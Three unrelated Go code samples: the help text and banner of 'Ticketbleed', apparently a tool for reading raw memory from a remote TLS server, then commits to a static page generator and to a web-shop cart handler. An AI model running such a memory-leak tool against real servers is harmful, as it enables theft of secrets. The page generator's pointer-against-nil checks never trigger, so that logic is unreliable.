  ░       ▒ ░░        ░ ░░ ░    ░    ░       ░    ░   ░ ░      ░      ░    ░ ░  ░
          ░  ░ ░      ░  ░      ░  ░         ░          ░  ░   ░  ░   ░  ░   ░
             ░                                    ░                        ░
`
var Help string = `
Author: Ege Balcı
Github: github.com/EgeBalci/Ticketbleed

USAGE:
	./ticketbleed <ip:port> <options>
OPTIONS:
	-o, --out 	Output filename for raw memory
	-s, --size 	Size in bytes to read (Output value may vary)
	-h, --help 	Print this message
`<|endoftext|>


<commit_before>package main

import (
	"fmt"
	"gopkg.in/yaml.v2"
	"html/template"
	"io/ioutil"
	"os"
	"path/filepath"
)

type Page struct {
	TemplatePath string `yaml:"template"`
	TitlePath    string `yaml:"title"`
	TitleRaw     string `yaml:"title-raw"`
	HeaderPath   string `yaml:"header"`
	HeaderRaw    string `yaml:"header-raw"`
	BodyPath     string `yaml:"body"`
	BodyRaw      string `yaml:"body-raw"`
	FooterPath   string `yaml:"footer"`
	FooterRaw    string `yaml:"footer-raw"`
	Output       string `yaml:"output-html"`
}

func (p Page) String() string {
	return fmt.Sprintf("%v\n%s\n%s\n%s\n", p.Title, p.Header, p.Body, p.Footer)
}

func (page *Page) Title() template.HTML {
	var html string
	if &page.TitleRaw == nil {
		htmlbytes, _ := ioutil.ReadFile(page.TitlePath)
		html = string(htmlbytes)
	} else {
		html = page.TitleRaw
	}
	return template.HTML(html)
}

func (page *Page) Header() template.HTML {
	var html string
	if &page.HeaderRaw == nil {
		htmlbytes, _ := ioutil.ReadFile(page.HeaderPath)
		html = string(htmlbytes)
	} else {
		html = page.HeaderRaw
	}
	return template.HTML(html)
}

func (page *Page) Body() template.HTML {
	var html string
	if &page.BodyRaw == nil {
		htmlbytes, _ := ioutil.ReadFile(page.BodyPath)
		html = string(htmlbytes)
	} else {
		html = page.BodyRaw
	}
	return template.HTML(html)
}

func (page *Page) Footer() template.HTML {
	var html string
	if &page.FooterRaw == nil {
		htmlbytes, _ := ioutil.ReadFile(page.FooterPath)
		html = string(htmlbytes)
	} else {
		html = page.FooterRaw
	}
	return template.HTML(html)
}

func readconfig(path string) (*Page, error) {
	var page Page
	var err error

	data, err := ioutil.ReadFile(path)
	if err != nil {
		return &page, err
	}
	err = yaml.Unmarshal(data, &page)
	return &page, err
}

func buildpage(templatefile string, fout *os.File, page *Page) error {
	templatebytes, err := ioutil.ReadFile(templatefile)
	if err != nil {
		return err
	}
	templatename := templatefile[:len(templatefile)-5]
	t := template.Must(template.New(templatename).Parse(string(templatebytes)))
	err = t.Execute(fout, page)
	return err
}

func main() {

	var args []string
	args = os.Args[1:]
	if len(args) == 0 {
		fmt.Println("At least one content file must be specified")
	}

	var pagePtr *Page
	var fnm_html, templatepath string
	for _, fnm := range args {
		if _, err := os.Stat(fnm); !os.IsNotExist(err) {

			fmt.Println("parsing", fnm)
			pagePtr, err = readconfig(fnm)
			if err != nil {
				fmt.Println(err)
				break
			}
			fmt.Println("using template at", pagePtr.TemplatePath)

			if &pagePtr.Output != nil {
				fnm_html = pagePtr.Output
			} else {
				fnm_html = filepath.Base(fnm[:len(fnm)-5]) + ".html"
			}

			fmt.Println("writing to", fnm_html)
			fout, err := os.Create(fnm_html)
			defer fout.Close()
			if err != nil {
				fmt.Println(err)
				break
			}

			templatepath = filepath.Join(filepath.Dir(fnm), pagePtr.TemplatePath)
			err = buildpage(templatepath, fout, pagePtr)
			if err != nil {
				fmt.Println(err)
			}
		} else {
			fmt.Println(fnm, "does not exist")
		}
	}
}
<commit_msg>wrap repeated code in getHTML method<commit_after>package main

import (
	"fmt"
	"gopkg.in/yaml.v2"
	"html/template"
	"io/ioutil"
	"os"
	"path/filepath"
)

type Page struct {
	TemplatePath string `yaml:"template"`
	TitlePath    string `yaml:"title"`
	TitleRaw     string `yaml:"title-raw"`
	HeaderPath   string `yaml:"header"`
	HeaderRaw    string `yaml:"header-raw"`
	BodyPath     string `yaml:"body"`
	BodyRaw      string `yaml:"body-raw"`
	FooterPath   string `yaml:"footer"`
	FooterRaw    string `yaml:"footer-raw"`
	Output       string `yaml:"output-html"`
}

func (p Page) String() string {
	return fmt.Sprintf("%v\n%s\n%s\n%s\n", p.Title, p.Header, p.Body, p.Footer)
}

func (page *Page) gethtml(raw *string, path *string) template.HTML {
	var html string
	if &raw == nil {
		htmlbytes, _ := ioutil.ReadFile(*path)
		html = string(htmlbytes)
	} else {
		html = *raw
	}
	return template.HTML(html)
}

func (page *Page) Title() template.HTML {
	return page.gethtml(&page.TitleRaw, &page.TitlePath)
}

func (page *Page) Header() template.HTML {
	return page.gethtml(&page.HeaderRaw, &page.HeaderPath)
}

func (page *Page) Body() template.HTML {
	return page.gethtml(&page.BodyRaw, &page.BodyPath)
}

func (page *Page) Footer() template.HTML {
	return page.gethtml(&page.FooterRaw, &page.FooterPath)
}

func readconfig(path string) (*Page, error) {
	var page Page
	var err error

	data, err := ioutil.ReadFile(path)
	if err != nil {
		return &page, err
	}
	err = yaml.Unmarshal(data, &page)
	return &page, err
}

func buildpage(templatefile string, fout *os.File, page *Page) error {
	templatebytes, err := ioutil.ReadFile(templatefile)
	if err != nil {
		return err
	}
	templatename := templatefile[:len(templatefile)-5]
	t := template.Must(template.New(templatename).Parse(string(templatebytes)))
	err = t.Execute(fout, page)
	return err
}

func main() {

	var args []string
	args = os.Args[1:]
	if len(args) == 0 {
		fmt.Println("At least one content file must be specified")
	}

	var pagePtr *Page
	var fnm_html, templatepath string
	for _, fnm := range args {
		if _, err := os.Stat(fnm); !os.IsNotExist(err) {

			fmt.Println("parsing", fnm)
			pagePtr, err = readconfig(fnm)
			if err != nil {
				fmt.Println(err)
				break
			}
			fmt.Println("using template at", pagePtr.TemplatePath)

			if &pagePtr.Output != nil {
				fnm_html = pagePtr.Output
			} else {
				fnm_html = filepath.Base(fnm[:len(fnm)-5]) + ".html"
			}

			fmt.Println("writing to", fnm_html)
			fout, err := os.Create(fnm_html)
			defer fout.Close()
			if err != nil {
				fmt.Println(err)
				break
			}

			templatepath = filepath.Join(filepath.Dir(fnm), pagePtr.TemplatePath)
			err = buildpage(templatepath, fout, pagePtr)
			if err != nil {
				fmt.Println(err)
			}
		} else {
			fmt.Println(fnm, "does not exist")
		}
	}
}
<|endoftext|>


<commit_before>package pages

import (
	"net/http"
	"strconv"
	"strings"

	"database/sql"

	"github.com/gorilla/sessions"
	"github.com/upframe/fest/models"
)

type cart struct {
	Products []*models.Product
	Total    int
}

// CartGET returns the list of items in the cart
func CartGET(w http.ResponseWriter, r *http.Request, s *sessions.Session) (int, error) {
	if !IsLoggedIn(s) {
		return Redirect(w, r, "/login")
	}

	data := &cart{}

	for i := range s.Values["Cart"].([]int) {
		generic, err := models.GetProduct(i)
		if err == sql.ErrNoRows {
			continue
		}
		if err != nil {
			return http.StatusInternalServerError, err
		}

		product := generic.(*models.Product)
		if product.Deactivated {
			continue
		}

		data.Products = append(data.Products, product)
		data.Total += product.Price
	}

	return RenderHTML(w, s, data, "cart")
}

// CartPOST adds a product to the cart
func CartPOST(w http.ResponseWriter, r *http.Request, s *sessions.Session) (int, error) {
	if !IsLoggedIn(s) {
		return http.StatusUnauthorized, nil
	}

	id, err := strconv.Atoi(strings.Replace(r.URL.Path, "/cart/", "", -1))
	if err != nil {
		return http.StatusInternalServerError, err
	}

	product, err := models.GetProduct(id)
	if err == sql.ErrNoRows {
		return http.StatusNotFound, err
	}
	if err != nil {
		return http.StatusInternalServerError, err
	}
	if product.(*models.Product).Deactivated {
		return http.StatusNotFound, nil
	}

	s.Values["Cart"] = append(s.Values["Cart"].([]int), id)
	err = s.Save(r, w)
	if err != nil {
		return http.StatusInternalServerError, err
	}

	return http.StatusOK, nil
}
<commit_msg>fix bug<commit_after>package pages

import (
	"net/http"
	"strconv"
	"strings"

	"database/sql"

	"github.com/gorilla/sessions"
	"github.com/upframe/fest/models"
)

type cart struct {
	Products []*models.Product
	Total    int
}

// CartGET returns the list of items in the cart
func CartGET(w http.ResponseWriter, r *http.Request, s *sessions.Session) (int, error) {
	if !IsLoggedIn(s) {
		return Redirect(w, r, "/login")
	}

	data := &cart{}

	for _, id := range s.Values["Cart"].([]int) {
		generic, err := models.GetProduct(id)
		if err == sql.ErrNoRows {
			continue
		}
		if err != nil {
			return http.StatusInternalServerError, err
		}

		product := generic.(*models.Product)
		if product.Deactivated {
			continue
		}

		data.Products = append(data.Products, product)
		data.Total += product.Price
	}

	return RenderHTML(w, s, data, "cart")
}

// CartPOST adds a product to the cart
func CartPOST(w http.ResponseWriter, r *http.Request, s *sessions.Session) (int, error) {
	if !IsLoggedIn(s) {
		return http.StatusUnauthorized, nil
	}

	id, err := strconv.Atoi(strings.Replace(r.URL.Path, "/cart/", "", -1))
	if err != nil {
		return http.StatusInternalServerError, err
	}

	product, err := models.GetProduct(id)
	if err == sql.ErrNoRows {
		return http.StatusNotFound, err
	}
	if err != nil {
		return http.StatusInternalServerError, err
	}
	if product.(*models.Product).Deactivated {
		return http.StatusNotFound, nil
	}

	s.Values["Cart"] = append(s.Values["Cart"].([]int), id)
	err = s.Save(r, w)
	if err != nil {
		return http.StatusInternalServerError, err
	}

	return http.StatusOK, nil
}
<|endoftext|>